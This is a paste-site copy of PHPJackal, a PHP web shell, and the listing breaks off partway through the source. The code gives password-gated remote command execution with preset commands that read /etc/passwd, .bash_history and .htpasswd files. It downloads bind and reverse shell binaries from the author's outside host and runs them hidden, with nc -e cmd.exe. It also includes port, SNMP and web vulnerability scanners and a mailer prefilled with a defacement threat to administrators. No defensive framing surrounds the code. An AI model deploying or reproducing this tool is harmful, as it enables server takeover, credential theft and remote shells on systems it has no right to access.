PHPJackal - Shells-Center.Com

SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 7:32 a.m.

FORMAT: PHP

SIZE: 108.1 kB

Raw Download

HITS: 805

Report
  1. <?php
  2. #--Config--#
  3. $login_password= ''; //Set password
  4. #----------#
  5. error_reporting(E_ALL);
  6. set_time_limit(0);
  7. ini_set("max_execution_time","0");
  8. ini_set("memory_limit","9999M");
  9. set_magic_quotes_runtime(0);
  10. if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
  11. if(!isset($_POST))$_POST = &$HTTP_POST_VARS;
  12. if(!isset($_GET))$_GET = &$HTTP_GET_VARS;
  13. if(!isset($_COOKIE))$_COOKIE=$HTTP_COOKIE_VARS;
  14. $_REQUEST = array_merge($_GET, $_POST);
  15. if (get_magic_quotes_gpc()){
  16. foreach ($_REQUEST as $key=>$value)
  17. {
  18. $_REQUEST[$key]=stripslashes($value);
  19. }
  20. }
  21. function hlinK($str=""){
  22. $myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL');
  23. $ret=$_SERVER['PHP_SELF']."?";
  24. $new=explode("&",$str);
  25. foreach ($_GET as $key => $v){
  26. $add=1;
  27. foreach($new as $m){
  28. $el = explode("=", $m);
  29. if ($el[0]==$key)$add=0;
  30. }
  31. if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&";
  32. }
  33. $ret.=$str;
  34. return $ret;
  35. }
  36. if(!empty($login_password)){
  37. if(!empty($_REQUEST['fpassw'])){
  38. if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw']));
  39. @header("Location: ".hlinK());
  40. }
  41. if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("<html><body><table><form method=post><tr><td>Password:</td><td><input type=hidden name=seC value=about><input type=password name=fpassw></td></tr><tr><td></td><td><input type=submit value=login></td></tr></form></table></body></html>");
  42. }
  43. if (!empty($_REQUEST['workingdiR'])) chdir($_REQUEST['workingdiR']);
  44. function checkthisporT($ip,$port,$timeout,$type=0){
  45. if(!$type){
  46. $scan=@fsockopen($ip,$port,$n,$s,$timeout);
  47. if($scan){fclose($scan);return 1;}
  48. }
  49. elseif(function_exists('socket_set_timeout')){
  50. $scan=@fsockopen("udp://".$ip,$port);
  51. if($scan){
  52. socket_set_timeout($scan,$timeout);
  53. @fwrite($scan,"\x00");
  54. $s=time();
  55. fread($scan,1);
  56. if((time()-$s)>=$timeout){fclose($scan);return 1;}
  57. }
  58. }
  59. return 0;
  60. }
  61. if (!function_exists("file_get_contents")){
  62. function file_get_contents($addr){
  63. $a = fopen($addr,"r");
  64. $tmp = fread($a,filesize($a));
  65. fclose($a);
  66. if($a)return $tmp;
  67. }
  68. }
  69. if (!function_exists("file_put_contents")){
  70. function file_put_contents($addr,$con){
  71. $a = fopen($addr,"w");
  72. if(!$a)return 0;
  73. fwrite($a,$con);
  74. fclose($a);
  75. return strlen($con);
  76. }
  77. }
  78. function flusheR(){
  79. flush();@ob_flush();
  80. }
  81. if (!empty($_REQUEST['downloaD'])){
  82. @ob_clean();
  83. $dl=$_REQUEST['downloaD'];
  84. $con=file_get_contents($dl);
  85. header("Content-type: application/octet-stream");
  86. header("Content-disposition: attachment; filename=\"$dl\";");
  87. header("Content-length: ".strlen($con));
  88. echo $con;
  89. exit;
  90. }
  91. if (!empty($_REQUEST['imagE'])){
  92. $img=$_REQUEST['imagE'];
  93. header("Content-type: imagE/gif");
  94. header("Content-length: ".filesize($img));
  95. header("Last-Modified: ".date("r",filemtime($img)));
  96. echo file_get_contents($img);
  97. exit;
  98. }
  99. @header("Cache-Control: no-cache, must-revalidate");
  100. @header("Expires: Mon, 7 Aug 1987 05:00:00 GMT");
  101. function showsizE($size){
  102. if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB";
  103. elseif ($size>=1048576)$size = round(($size/1048576),2)." MB";
  104. elseif ($size>=1024)$size = round(($size/1024),2)." KB";
  105. else $size .= " B";
  106. return $size;
  107. }
  108. if (substr((strtoupper(php_unamE())),0,3)=="WIN") $windows=1; else $windows=0;
  109. $errorbox = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td><b>Error: </b>";
  110. $et = "</td></tr></table>";
  111. $v="1.5";
  112. $msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td align=\"center\">";
  113. $intro="<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\"><tr><td bgcolor=\"#666666\"><b>Script:</b><br>".str_repeat("-=-",25)."<br><b>Name:</b> PHPJackal<br><b>Version:</b> $v<br><br><b>Author:</b><br>".str_repeat("-=-",25)."<br><b>Name:</b> NetJackal<br><b>Country:</b> Iran<br><b>Website:</b> <a href=\"http://netjackal.by.ru\" target=\"_blank\">http://netjackal.by.ru</a><br><b>Email:</b> <a href=\"mailto:nima_501@yahoo.com?subject=PHPJackal\">nima_501@yahoo.com</a><br></font>$et</center>";
  114. $footer="${msgbox}PHPJackal v$v - Powered By <a href=\"http://netjackal.by.ru\" target=\"_blank\">NetJackal</a>$et";
  115. $hcwd="<input type=hidden name=workingdiR value=\"".getcwd()."\">";
  116. $t = "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#333333\">";
  117. $crack="</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\" name=form><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>";
  118. function namE(){
  119. $name='';
  120. srand((double)microtime()*100000);
  121. for ($i=0;$i<=rand(3,10);$i++){
  122. $name.=chr(rand(97,122));
  123. }
  124. return $name;
  125. }
  126. function whereistmP(){
  127. $uploadtmp=ini_get('upload_tmp_dir');
  128. $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
  129. if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
  130. if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
  131. if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
  132. if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
  133. if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
  134. return ".";
  135. }
  136. function shelL($command){
  137. global $windows,$disablefunctions;
  138. $exec = '';$output= '';
  139. $dep[]=array('pipe','r');$dep[]=array('pipe','w');
  140. if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
  141. elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; }
  142. elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;}
  143. elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
  144. elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
  145. elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
  146. elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
  147. return $exec;
  148. }
  149. function downloadiT($get,$put){
  150. $fo=@strtolower(ini_get('allow_url_fopen'));
  151. if($fo || $fo=='on')$con=file_get_contents($get);
  152. else{
  153. $u=parse_url($get);
  154. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
  155. $url=fsockopen($host, 80, $en, $es, 12);
  156. fputs($url, "GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
  157. $tmp=$con='';
  158. while($tmp!="\r\n")$tmp=fgets($url);
  159. while(!feof($url))$con.=fgets($url);
  160. }
  161. $mk=file_put_contents($put,$con);
  162. if($mk)return 1;
  163. return 0;
  164. }
  165. function smtplogiN($addr,$user,$pass,$timeout){
  166. $sock=fsockopen($addr,25,$n,$s,$timeout);
  167. if(!$sock)return -1;
  168. fread($sock,1024);
  169. fputs($sock,'ehlo '.namE()."\r\n");
  170. $res=substr(fgets($sock,512),0,1);
  171. if($res!='2')return 0;
  172. fgets($sock,512);fgets($sock,512);fgets($sock,512);
  173. fputs($sock,"AUTH LOGIN\r\n");
  174. $res=substr(fgets($sock,512),0,3);
  175. if($res!='334')return 0;
  176. fputs($sock,base64_encode($user)."\r\n");
  177. $res=substr(fgets($sock,512),0,3);
  178. if($res!='334')return 0;
  179. fputs($sock,base64_encode($pass)."\r\n");
  180. $res=substr(fgets($sock,512),0,3);
  181. if($res!='235')return 0;
  182. return 1;
  183. }
  184. function checksmtP($host,$timeout){
  185. $from=strtolower(namE())."@".strtolower(namE()).".com";
  186. $sock=@fsockopen($host,25,$n,$s,$timeout);
  187. if(!$sock)return -1;
  188. $res=substr(fgets($sock,512),0,3);
  189. if($res!='220')return 0;
  190. fputs($sock,'HELO '.namE()."\r\n");
  191. $res=substr(fgets($sock,512),0,3);
  192. if($res!='250')return 0;
  193. fputs($sock,"MAIL FROM: <$from>\r\n");
  194. $res=substr(fgets($sock,512),0,3);
  195. if($res!='250')return 0;
  196. fputs($sock,"RCPT TO: <contact@persianblog.com>\r\n");
  197. $res=substr(fgets($sock,512),0,3);
  198. if($res!='250')return 0;
  199. fputs($sock,"DATA\r\n");
  200. $res=substr(fgets($sock,512),0,3);
  201. if($res!='354')return 0;
  202. fputs($sock,"From: ".namE()." ".namE()." <$from>\r\nSubject: ".namE()."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".namE().namE().namE()."\r\n.\r\n");
  203. $res=substr(fgets($sock,512),0,3);
  204. if($res!='250')return 0;
  205. return 1;
  206. }
  207. function check_urL($url,$method,$search,$timeout){
  208. if(empty($search))$search='200';
  209. $u=parse_url($url);
  210. $method=strtoupper($method);
  211. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
  212. $data=(!empty($u['query']))?$u['query']:'';
  213. if(!empty($data))$data="?$data";
  214. $sock=@fsockopen($host,80,$en,$es,$timeout);
  215. if($sock){
  216. fputs($sock,"$method $file$data HTTP/1.0\r\n");
  217. fputs($sock,"Host: $host\r\n");
  218. if($method=='GET')fputs($sock,"\r\n");
  219. elseif($method='POST')fputs($sock,"Content-Type: application/x-www-form-urlencoded\r\nContent-length: ".strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data");
  220. else return 0;
  221. if($search=='200')if(substr(fgets($sock),0,3)=="200"){fclose($sock);return 1;}else {fclose($sock);return 0;}
  222. while(!feof($sock)){
  223. $res=trim(fgets($sock));
  224. if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;}
  225. }
  226. fclose($sock);
  227. }
  228. return 0;
  229. }
  230. function get_sw_namE($host,$timeout){
  231. $sock=@fsockopen($host,80,$en,$es,$timeout);
  232. if($sock){
  233. $page=namE().namE();
  234. fputs($sock,"GET /$page HTTP/1.0\r\n\r\n");
  235. while(!feof($sock)){
  236. $con=fgets($sock);
  237. if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;}
  238. }
  239. fclose($sock);
  240. return -1;
  241. }return 0;
  242. }
  243. function snmpchecK($ip,$com,$timeout){
  244. $res=0;
  245. $n=chr(0x00);
  246. $packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01). chr(0x00). chr(0x04). chr(strlen($com)).
  247. $com. chr(0xA0).
  248. chr(0x19). chr(0x02). chr(0x01). chr(0x01). chr(0x02). chr(0x01). $n.
  249. chr(0x02). chr(0x01). $n. chr(0x30). chr(0x0E). chr(0x30). chr(0x0C).
  250. chr(0x06). chr(0x08). chr(0x2B). chr(0x06). chr(0x01). chr(0x02). chr(0x01).
  251. chr(0x01). chr(0x01). $n. chr(0x05). $n;
  252. $sock=@fsockopen("udp://$ip",161);
  253. socket_set_timeout($sock,$timeout);
  254. @fputs($sock,$packet);
  255. socket_set_timeout($sock,$timeout);
  256. $res=fgets($sock);
  257. fclose($sock);
  258. return $res;
  259. }
  261. $safemode=(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on')?'ON':'OFF';
  262. if($safemode=="ON"){@ini_restore("safe_mode");@ini_restore("open_basedir");}
  263. $disablefunctions = @ini_get('disable_functions');
  264. if (!function_exists("str_repeat")){
  265. function str_repeat($str,$c){
  266. $r="";
  267. for($i=0; $i < $cu; $i++)$r.=$str;
  268. return $r;
  269. }
  270. }
  272. function brshelL(){
  273. global $errorbox, $windows,$et,$hcwd;
  274. $_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0;
  275. $addr='http://netjackal.by.ru/backdoor';
  276. $error="$errorbox Can not make backdoor file, go to writeable folder.$et";
  277. $n=namE();
  278. if(!$windows)$n=".$n";
  279. $d=whereistmP();
  280. $name=$d.DIRECTORY_SEPARATOR.$n;
  281. $perl=(!$windows && shelL('which perl'))?$perl=shelL('which perl'):'perl';
  282. $c=($_REQUEST['C'])?1:0;
  283. if (!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1) ){
  284. $port=(int)$_REQUEST['port'];
  285. if($windows){
  286. if($c){
  287. $name.=".exe";
  288. $bd=downloadiT("$addr/nc.exe",$name);
  289. shelL("attrib +H $name");
  290. if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe");
  291. }else{
  292. $name = $name.".pl";
  293. $bd=downloadiT("$addr/winbind.pl",$name);
  294. shelL("attrib +H $name");
  295. if(!$bd)echo $error;else shelL("perl.exe $name $port");
  296. }
  297. }
  298. else{
  299. if($c){
  300. $bd=downloadiT("$addr/bind.c",$name);
  301. if (!$bd) echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &");
  302. }else{
  303. $bd=downloadiT("$addr/bind.pl",$name);
  304. if (!$bd)echo $error; else shelL("cd $d;$perl $n $port &");
  305. echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>";
  306. }
  307. }
  308. }
  309. elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){
  310. $ip=$_REQUEST['ip'];
  311. $port=(int)$_REQUEST['rport'];
  312. if($windows){
  313. if($c){
  314. $name.='.exe';
  315. $bd=downloadiT("$addr/nc.exe",$name);
  316. shelL("attrib +H $name");
  317. if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe");
  318. }else{
  319. $name = $name.".pl";
  320. $bd=downloadiT("$addr/winrc.pl",$name);
  321. shelL("attrib +H $name");
  322. if (!$bd)echo $error; else shelL("perl.exe $name $ip $port");
  323. }
  324. }
  325. else{
  326. if($c){
  327. $bd=downloadiT("$addr/rc.c",$name);
  328. if(!$bd) echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &");
  329. }else{
  330. $bd=downloadiT("$addr/rc.pl",$name);
  331. if(!$bd)echo $error;else shelL("cd $d;$perl $n $ip $port &");
  332. }
  333. }
  334. echo "<font color=blue>Done!</font>";}
  335. else{echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td width=\"50%\" bgcolor=\"#333333\">Bind shelL:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Port:</td><td bgcolor=\"#666666\"><input type=text name=port value=55501 size=5></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Type:</td><td bgcolor=\"#808080\"><input type=radio style=\"border-width:1px;background-color:#808080;\" value=0 checked name=C>PERL<input type=radio style=\"border-width:1px;background-color:#808080;\" name=C value=1>"; if($windows)echo "EXE"; else echo "C";echo"</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input type=submit class=buttons value=Bind></td></tr></form></table></td><td><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td width=\"40%\" bgcolor=\"#333333\">Reverse shelL:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#808080\">IP:</td><td bgcolor=\"#808080\"><input type=text name=ip value=";echo $_SERVER["REMOTE_ADDR"]; echo " size=17></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Port:</td><td bgcolor=\"#666666\"><input type=text name=rport value=53 size=5></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Type:</td><td bgcolor=\"#808080\"><input type=radio style=\"border-width:1px;background-color:#808080;\" value=0 checked name=C>PERL<input type=radio style=\"border-width:1px;background-color:#808080;\" name=C value=1>"; if($windows)echo "EXE"; else echo "C";echo"</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Connect></td></tr></form></table>$et";}}
  336. function showimagE($img){
  337. echo "<center><img border=0 src=\"".hlinK("imagE=$img&&workingdiR=".getcwd())."\"></center>";}
  338. function editoR($file){
  339. global $errorbox,$et,$hcwd;
  340. if (is_file($file)){
  341. if (!is_readable($file)){echo "$errorbox File is not readable$et<br>";}
  342. if (!is_writeable($file)){echo "$errorbox File is not writeable$et<br>";}
  343. $data = file_get_contents($file);
  344. echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"10%\" bgcolor=\"#808080\"><form method=\"POST\">$hcwd<input type=text value=\"".htmlspecialchars($file)."\" size=75 name=file><input type=submit class=buttons name=Open value=Open></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#666666\"><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"64\">";
  345. echo htmlspecialchars($data);
  346. echo "</textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"><input type=text value=\"$file\" size=80 name=file></td></tr><td width=\"40%\" bgcolor=\"#666666\" align=\"right\">";
  347. }
  348. else {echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"10%\" bgcolor=\"#808080\"><form method=\"POST\"><input type=text value=\"".getcwd()."\" size=75 name=file>$hcwd<input type=submit class=buttons name=Open value=Open></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\" bgcolor=\"#666666\"><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"63\"></textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"><input type=text value=\"".getcwd()."\" size=80 name=file></td></tr><td width=\"40%\" bgcolor=\"#666666\" align=\"right\">";
  349. }
  350. echo "$hcwd<input type=submit class=buttons name=Save value=Save></td></form></tr></table></center>";
  351. }
  352. function webshelL(){
  353. global $windows,$hcwd;
  354. if($windows){
  355. $alias="<option value=\"netstat -an\">Display open ports</option><option value=\"tasklist\">List of processes</option><option value=\"systeminfo\">System information</option><option value=\"ipconfig /all\">IP configuration</option><option value=\"getmac\">Get MAC address</option><option value=\"net start\">Services list</option><option value=\"net view\">Machines in domain</option><option value=\"net user\">Users list</option><option value=\"gpresult\">Group policy</option><option value=\"shutdown -s -f -t 1\">Turn off the server</option>";
  356. }
  357. else{
  358. $alias="<option value=\"netstat -an | grep -i listen\">Display open ports</option><option value=\"last -a -n 250 -i\">Show last 250 logged in users</option><option value=\"which wget curl lynx w3m\">Downloaders</option><option value=\"find / -perm -2 -type d -print\">Find world-writable directories</option><option value=\"find . -perm -2 -type d -print\">Find world-writable directories(in current directory)</option><option value=\"find / -perm -2 -type f -print\">Find world-writable files</option><option value=\"find . -perm -2 -type f -print\">Find world-writable files(in current directory)</option><option value=\"find / -type f -perm 04000 -ls\">Find files with SUID bit set</option><option value=\"find / -type f -perm 02000 -ls\">Find files with SGID bit set</option><option value=\"find / -name .htpasswd -type f\">Find .htpasswd files</option><option value=\"find / -type f -name .bash_history\">Find .bash_history files</option><option value=\"cat /etc/syslog.conf\">View syslog.conf</option><option value=\"cat cat /etc/hosts\">View hosts</option><option value=\"ps auxw\">List of processes</option>";
  359. if(is_dir('/etc/valiases'))$alias.="<option value=\"ls -l /etc/valiases\">List of Cpanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value=\"ls -l /etc/vdomainaliases\">List Cpanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value=\"cat /var/cpanel/accounting.log\">Display Cpanel`s log</option>";
  360. if(is_dir('/var/spool/mail/'))$alias.="<option value=\"ls /var/spool/mail/\">Mailboxes list</option>";
  361. }
  362. echo "<center><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"65%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Location:</b><input type=text name=workingdiR size=82 value=\"".getcwd()."\"><input class=buttons type=submit value=Change></td></tr></form></table><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"65%\"><tr><td><b>Web Shell:</b></td></tr><td bgcolor=\"#666666\"><textarea rows=\"22\" cols=\"78\">";
  363. if (!empty($_REQUEST['cmd'])) echo shelL($_REQUEST['cmd']);
  364. echo"</textarea></td></tr><form method=post><tr><td bgcolor=\"#808080\"><input type=text size=91 name=cmd value=\"";if (!empty($_REQUEST['cmd'])) echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows) echo "cat /etc/passwd";echo "\">$hcwd<input class=buttons type=submit value=Execute></td></tr></form></td></tr><form method=post><tr><td bgcolor=\"#808080\"><select name=\"cmd\" width=70>$alias</select>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></table></table><center>";
  365. }
  366. function maileR(){
  367. global $msgbox,$et,$hcwd;
  368. $cwd= getcwd();
  369. if (!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){
  370. $to=$_REQUEST['to'];$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body'];
  371. if (!mail($to,$subject,$body,"From: $from"))break;
  372. echo "$msgbox<b>Mail sent!</b><br>$et";
  373. }
  374. echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\"><td><b>Mailer:</b></td></tr><td width=\"20%\" bgcolor=\"#666666\">SMTP</td><td bgcolor=\"#666666\">".ini_get('SMTP')." (".ini_get('smtp_port').")</td></tr><tr><td bgcolor=\"#808080\">From:</td><td bgcolor=\"#808080\"><input name=from type=text value=\"evil@hell.gov\" size=55>$hcwd</td><tr><td width=\"25%\" bgcolor=\"#666666\">To:</td><td bgcolor=\"#666666\"><input name=to type=text value=\""; if (!empty($_REQUEST['to'])) echo htmlspecialchars($_REQUEST['to']); elseif(!empty($_ENV["SERVER_ADMIN"])) echo $_ENV["SERVER_ADMIN"];else echo "admin@".getenv('HTTP_HOST'); echo "\" size=55></td></tr><tr><td bgcolor=\"#808080\">Subject:</td><td bgcolor=\"#808080\"><input name=subject type=text value=\"YOUR SERVER HAS BEED HACKED :-P\" size=55></td><tr><td bgcolor=\"#666666\">Body:</td><td bgcolor=\"#666666\"><textarea rows=\"18\" cols=\"43\" name=body>Admin, your system has been hacked! if you don`t seCure it, next time i`ll format your box.</textarea></td></tr><tr><td width=\"10%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=\"right\"><input type=submit class=buttons value=Send></form>$et";
  375. }
  376. function scanneR(){
  377. global $hcwd;
  378. if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1";
  379. $udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1;
  380. if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
  381. $target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0;
  382. echo "<font color=blue>Port scanning started against ".htmlspecialchars($target).":<br>";
  383. $start=time();
  384. for($i=$from;$i<=$to;$i++){
  385. if($tcp){
  386. if (checkthisporT($target,$i,$timeout)){
  387. $nu++;
  388. $ser="";
  389. if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")";
  390. echo "$nu) $i $ser (<a href=\"telnet://$target:$i\">Connect</a>) [TCP]<br>";
  391. }
  392. }
  393. if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP]<br>";}
  394. flusheR();
  395. }
  396. $time=time()-$start;
  397. echo "Done! ($time seconds)</font>";
  398. }
  399. elseif (!empty($_REQUEST['securityscanner'])){
  400. echo "<font color=blue>";
  401. $start=time();
  402. $from=$_REQUEST['from'];
  403. $to=(int)$_REQUEST['to'];
  404. $timeout=(int)$_REQUEST['timeout'];
  405. $f = substr($from,strrpos($from,".")+1);
  406. $from = substr($from,0,strrpos($from,"."));
  407. if(!empty($_REQUEST['httpscanner'])){
  408. echo "Loading webserver bug list...";
  409. flusheR();
  410. $buglist=whereistmP().DIRECTORY_SEPARATOR.namE();
  411. $dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist);
  412. if($dl){$file=file($buglist);echo "Done! scanning started.<br><br>";}else echo "Failed!!! scanning started without webserver security testing...<br><br>";
  413. flusheR();
  414. }else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to:<br><br>";}
  415. for($i=$f;$i<=$to;$i++){
  416. $output=0;
  417. $ip="$from.$i";
  418. if(!empty($_REQUEST['nslookup'])){
  419. $hn=gethostbyaddr($ip);
  420. if($hn!=$ip)echo "$ip [$hn]<br>";}
  421. flusheR();
  422. if(!empty($_REQUEST['ipscanner'])){
  423. $port=$_REQUEST['port'];
  424. if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port;
  425. $open=$ser="";
  426. foreach($p as $po){
  427. $scan=checkthisporT($ip,$po,$timeout);
  428. if ($scan){
  429. $ser="";
  430. if($ser=getservbyport($po,"tcp"))$ser="($ser)";
  431. $open.=" $po$ser ";
  432. }
  433. }
  434. if($open){echo "$ip) Open ports:$open<br>";$output=1;}
  435. flusheR();
  436. }
  437. if(!empty($_REQUEST['httpbanner'])){
  438. $res=get_sw_namE($ip,$timeout);
  439. if($res){
  440. echo "$ip) Webserver software: ";
  441. if($res==-1)echo "Unknow";
  442. else echo $res;
  443. echo "<br>";
  444. $output=1;
  445. }
  446. flusheR();
  447. }
  448. if(!empty($_REQUEST['httpscanner'])){
  449. if(checkthisporT($ip,80,$timeout) && !empty($file)){
  450. $admin=array('/admin/','/adm/');
  451. $users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www');
  452. $nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/');
  453. $cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/');
  454. foreach ($file as $v){
  455. $vuln=array();
  456. $v=trim($v);
  457. if(!$v || $v{0}=='#')continue;
  458. $v=str_replace('","','^',$v);
  459. $v=str_replace('"','',$v);
  460. $vuln=explode('^',$v);
  461. $page=$cqich=$nukech=$adminch=$userch=$vuln[1];
  462. if(strstr($page,'@CGIDIRS'))
  463. foreach($cgi as $cg){
  464. $cqich=str_replace('@CGIDIRS',$cg,$page);
  465. $url="http://$ip$cqich";
  466. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
